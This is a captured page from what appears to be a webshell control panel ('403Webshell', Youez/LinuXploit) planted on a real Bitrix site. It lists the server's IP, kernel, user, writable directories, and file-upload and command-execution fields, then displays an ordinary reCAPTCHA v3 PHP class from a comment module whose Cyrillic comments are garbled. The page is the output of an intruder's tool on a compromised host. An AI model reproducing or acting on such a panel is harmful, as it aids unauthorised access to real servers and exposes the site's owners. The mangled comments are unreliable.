403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/burlakastudio.realcommenter/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/burlakastudio.realcommenter/lib/RECAPTCHA3.php
<?php
/**
 * ����� "��������� ����������� D7" ��� �������
 * �������� ���� �����: www.realcommenter.com
 * �������� ���� �����������: burlaka.studio
 * ����� � ����������: ������� ������� (AlexeyGfi) -> alexeygfi@gmail.com
 */

namespace Burlakastudio\Realcommenter;

class RECAPTCHA3 extends REALCOMMENTER_HL_GENERAL_PROVIDER {
	
	public static function use_recaptcha3() {
		/**
		 * ������ ��:
		 *  - ������� ���������� recaptcha, // use_recaptcha
		 *  - ������ ����� 3 // recaptcha_version == 3
		 *  - ����� sitekey // recaptcha3_sitekey
		 *  - ����� secretkey // recaptcha3_secretkey
		 */
		
		if(
			OPTIONS::get( 'use_recaptcha' )
			&& OPTIONS::get( 'recaptcha_version' ) == 3
			&& self::get_sitekey()
			&& self::get_secretkey()
		) {
			return true;
		}
		
		return false;
	}
	
	public static function recaptcha_BX_MSG( &$BX_MSG ) {
		if( !self::use_recaptcha3() ) {
			return;
		}

		$BX_MSG[ 'REALCOMMENTER_RECAPTCHA3_SITEKEY' ]= self::get_sitekey();
	}
	
	public static function get_sitekey() {
		return OPTIONS::get( 'recaptcha3_sitekey' );
	}
	
	public static function get_secretkey() {
		return OPTIONS::get( 'recaptcha3_secretkey' );
	}
	
	private static function get_recaptcha3_api_url( &$response= '' ) {
		
		if( !$response ) {
			return '';
		}
		
		return sprintf(
			"https://www.google.com/recaptcha/api/siteverify?secret=%s&response=%s",
			self::get_secretkey(),
			$response
		);
	}
	
	public static function recaptcha3_response_check( &$form_data= [] ) {
		
		// ������� �����, ��������
		if( !self::use_recaptcha3() ) {
			return true;
		}
		
		if( empty( $form_data ) || !$form_data[ 'RECAPTCHA3_TOKEN' ] ) {
			return false;
		}
		
		//�������� �������
		$captcha_api_url= self::get_recaptcha3_api_url( $form_data[ 'RECAPTCHA3_TOKEN' ] );
		
		if( !$captcha_api_url ) {
			return false;
		}
		
		$captcha_json= file_get_contents( $captcha_api_url );
		$captcha_result= TOOLS::json_decode( $captcha_json );
		
		return $captcha_result[ 'success' ];
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit